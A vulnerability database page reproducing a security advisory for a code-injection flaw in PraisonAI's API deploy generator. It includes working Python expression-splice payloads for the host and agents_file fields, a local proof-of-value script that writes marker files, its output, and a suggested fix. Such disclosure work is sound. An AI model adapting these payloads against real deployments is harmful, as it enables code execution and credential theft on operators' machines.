Back to database
Schedule44HighVulnerabilityCVE-2026-61433No patch link observed

PraisonAI: API deploy code generator embeds unescaped YAML fields into Python source

Published Oct 8, 2026, 07:36 PM UTCIngested 3h agoSource OSV(ghsa)CVE-2026-61433

Description

# API deploy code generator embeds unescaped YAML fields into Python source ## Summary PraisonAI's API deployment generator copies `deploy.api.host` from `agents.yaml` directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds `agents_file` directly into generated route-handler expressions, giving a second route-time source injection site if the agent file path is attacker-controlled. ## Technical Details The vulnerable path starts with deployment configuration parsing. `Deploy.from_yaml()` reads the operator-supplied `agents.yaml`, `validate_agents_yaml()` accepts `deploy.api.host` as a string, and API deployments call `start_api_server(self.agents_file, self.config.api)`. `start_api_server()` calls `generate_api_server_code()` and executes the generated Python file with `python`. The current generator in `src/praisonai/praisonai/deploy/api.py` treats deployment data as Python syntax: ```python def generate_api_server_code(agents_file: str, config: Optional[APIConfig] = None) -> str: ... code = f'''""" ... praisonai = PraisonAI(agent_file="{agents_file}") ... "agent_file": "{agents_file}" ... app.run( host='{config.host}', port={config.port}, debug={config.reload} ) ''' ``` The violated invariant is that deployment configuration values should remain inert strings. Instead, `config.host` is inserted between single quotes in generated Python source. A value like this breaks out of the generated string literal and evaluates a Python expression: ```text ' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + ' ``` The generated startup code then becomes equivalent to: ```python app.run( host='' + (__import__("pathlib").Path("poc.txt").write_text("DEPLOY_API_HOST_CODE_EXECUTED") and "") + '', port=8005, debug=False, ) ``` That expression executes before Flask handles any request. This is not a shell parsing issue and not just direct use of an unsafe Python API; it is a data-to-code transformation in the deployment generator. `agents_file` has the same class of unsafe source interpolation in two generated route-handler expressions. A value shaped as `" + (<side effect> and "") + "` remains valid both in `PraisonAI(agent_file=...)` and in the `/agents` JSON response expression, so it executes when the generated handler evaluates that value. ## PoV The following local-only PoV stubs Flask and PraisonAI so it does not start a listener, invoke a model provider, or contact any external service. It proves that a malicious host value survives YAML schema parsing and executes when the generated server module is evaluated as `__main__`; it also includes a safe-host negative control and the secondary `agents_file` route-time interpolation check. ```python from pathlib import Path import json import sys import tempfile import types import yaml def install_stubs(): class FakeApp: def __init__(self, name): self.name = name def route(self, *args, **kwargs): def deco(func): return func return deco def run(self, *args, **kwargs): return None flask = types.ModuleType("flask") flask.Flask = FakeApp flask.request = types.SimpleNamespace(headers={}, get_json=lambda: {"message": "hello"}) flask.jsonify = lambda obj: obj sys.modules["flask"] = flask flask_cors = types.ModuleType("flask_cors") flask_cors.CORS = lambda app: app sys.modules["flask_cors"] = flask_cors praisonai_mod = types.ModuleType("praisonai") class FakePraisonAI: def __init__(self, agent_file): self.agent_file = agent_file def run(self): return "ok" praisonai_mod.PraisonAI = FakePraisonAI sys.modules["praisonai"] = praisonai_mod def main(repo): sys.path.insert(0, str(Path(repo) / "src" / "praisonai")) from praisonai.deploy.api import generate_api_server_code from praisonai.deploy.models import APIConfig from praisonai.deploy.schema import validate_agents_yaml install_stubs() with tempfile.TemporaryDirectory() as tmp: tmp_path = Path(tmp) host_marker = tmp_path / "host-marker.txt" file_marker = tmp_path / "agent-file-marker.txt" host_payload = "' + (__import__(\"pathlib\").Path(" + repr(str(host_marker)) + ").write_text(\"DEPLOY_API_HOST_CODE_EXECUTED\") and \"\") + '" agents_yaml = tmp_path / "agents.yaml" agents_yaml.write_text(yaml.safe_dump({ "deploy": { "type": "api", "api": {"host": host_payload, "port": 8005, "auth_enabled": False}, }, "agents": [{"name": "demo", "role": "demo", "goal": "demo"}], })) parsed_config = validate_agents_yaml(str(agents_yaml)) results = [] for label, config in [ ("safe_host", APIConfig(host="127.0.0.1", auth_enabled=False)), ("malicious_host_from_yaml", parsed_config.api), ]: host_marker.unlink(missing_ok=True) code = generate_api_server_code("agents.yaml", config) compile(code, f"<generated-{label}>", "exec") exec(code, {"__name__": "__main__"}) results.append({ "case": label, "compiled": True, "host_preserved_by_yaml_parser": config.host == host_payload if label.startswith("malicious") else None, "marker_exists_after_startup": host_marker.exists(), "marker_contents": host_marker.read_text() if host_marker.exists() else None, "generated_contains_raw_host": config.host in code, }) file_payload = "\" + (__import__(\"pathlib\").Path(" + repr(str(file_marker)) + ").write_text(\"DEPLOY_API_AGENT_FILE_CODE_EXECUTED\") and \"\") + \"" file_marker.unlink(missing_ok=True) code = generate_api_server_code(file_payload, APIConfig(host="127.0.0.1", auth_enabled=False)) compile(code, "<generated-agent-file>", "exec") namespace = {"__name__": "generated_agent_file"} exec(code, namespace) namespace["list_agents"]() results.append({ "case": "malicious_agent_file_route_value", "compiled": True, "marker_exists_after_list_agents": file_marker.exists(), "marker_contents": file_marker.read_text() if file_marker.exists() else None, "generated_contains_raw_agent_file": file_payload in code, }) print(json.dumps(results, indent=2)) return 0 if results[1]["marker_exists_after_startup"] and results[2]["marker_exists_after_list_agents"] else 1 if __name__ == "__main__": raise SystemExit(main(sys.argv[1] if len(sys.argv) > 1 else ".")) ``` ## PoC Command used against current source: ```sh uv run --with pydantic --with pyyaml python pov_deploy_api_config_injection.py /path/to/PraisonAI ``` Decisive output: ```json [ { "case": "safe_host", "compiled": true, "host_preserved_by_yaml_parser": null, "marker_exists_after_startup": false, "marker_contents": null, "generated_contains_raw_host": true }, { "case": "malicious_host_from_yaml", "compiled": true, "host_preserved_by_yaml_parser": true, "marker_exists_after_startup": true, "marker_contents": "DEPLOY_API_HOST_CODE_EXECUTED", "generated_contains_raw_host": true }, { "case": "malicious_agent_file_route_value", "compiled": true, "marker_exists_after_list_agents": true, "marker_contents": "DEPLOY_API_AGENT_FILE_CODE_EXECUTED", "generated_contains_raw_agent_file": true } ] ``` The `safe_host` negative control compiles and evaluates the generated module without a marker side effect. The `malicious_host_from_yaml` case proves the YAML parser preserved the malicious host as a config string and the generated server executed it at startup. The `malicious_agent_file_route_value` case proves the secondary file-path interpolation executes when the generated `/agents` handler evaluates the generated response. ## Impact If an operator deploys a malicious PraisonAI project configuration, arbitrary Python can execute in the deploy process when the generated API server starts. That process can access the operator's environment, source tree, local files, model/API credentials, and deployment credentials. This is a project-configuration supply-chain issue rather than an unauthenticated remote endpoint: the security boundary is that deployment config values should stay data and not become executable Python source. ## Suggested Fix Do not interpolate deployment values directly into generated Python source. Use `repr()` or `json.dumps()` for every generated Python literal, or load runtime values from a JSON sidecar, environment variable, or command-line argument instead of embedding them into source. For the current generator, replace `host='{config.host}'` with a safely encoded literal such as `host={config.host!r}`, and apply the same safe encoding to `agents_file` in both generated sites. Add regression tests with host and agent-file values containing quotes, newlines, and expression-splice strings; the generated source should compile and treat those values as inert strings. ## Affected Package/Versions Package: `praisonai` Confirmed current head: `1620b49f36945d8cc8ee5635b906c960df5097a0` Static sweep: | Target | Result | | --- | --- | | `v4.5.128` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.58` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.59` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.60` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.62` | affected; raw `agents_file` and `config.host` interpolation present | | `v4.6.63` | affected; raw `agents_file` and `config.host` interpolation present | | current `1620b49f` | affected; raw `agents_file` and `config.host` interpolation present | Suggested severity: High Suggested CVSS v3.1: ```text CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H ``` Suggested CWEs: - CWE-94: Improper Control of Generation of Code - CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code - CWE-116: Improper Encoding or Escaping of Output ## Advisory History The closest same-generator comparator is `GHSA-8444-4fhq-fxpq`, "PraisonAI deploy --type api emits a Flask server with authentication disabled by default." That advisory concerns the security posture of the generated Flask API server: missing authentication by default. This report is different: authentication can be enabled or disabled and the issue still exists because `generate_api_server_code()` emits deployment strings as Python syntax. The exploit primitive is generated-source injection from `deploy.api.host` and `agents_file`, not unauthenticated request access to the generated API. This is also distinct from `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`, which addressed a legacy generated API server authentication issue. Both authentication advisories are useful context because they involve generated API server deployment, but neither covers unsafe literal encoding or Python expression injection in `generate_api_server_code()`. AgentOS, AgentTeam, A2U, MCP, and recipe-server authentication bypass reports are separate server-surface issues. Their root cause is missing request authentication or bind-policy enforcement, while this report's root cause is unsafe code generation before the server handles traffic. ## References - `src/praisonai/praisonai/deploy/api.py`: `generate_api_server_code()` and `start_api_server()` - `src/praisonai/praisonai/deploy/main.py`: `Deploy.from_yaml()` and API/Docker deployment paths - `src/praisonai/praisonai/cli/features/deploy.py`: CLI deployment handler - `GHSA-8444-4fhq-fxpq`: prior `praisonai deploy --type api` generated API server authentication-default issue - `GHSA-6rmh-7xcm-cpxj` / `CVE-2026-44338`: prior generated API server authentication issue - CWE-94: https://cwe.mitre.org/data/definitions/94.html - CWE-95: https://cwe.mitre.org/data/definitions/95.html - CWE-116: https://cwe.mitre.org/data/definitions/116.html

CVSS v3.1 base metrics

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
—

High severity

Band computed from the CVSS base score, not the source's own label — so it means the same thing across every feed.

AV

Local

Attack Vector

AC

Low

Attack Complexity

PR

None

Privileges Required

UI

Required

User Interaction

S

Unchanged

Scope

C

High

Confidentiality

I

High

Integrity

A

High

Availability

Affected

Vendor
PyPI
Product
praisonai

Versions

  • pkg:pypi/praisonai < 4.6.78

Stated as the source expressed them.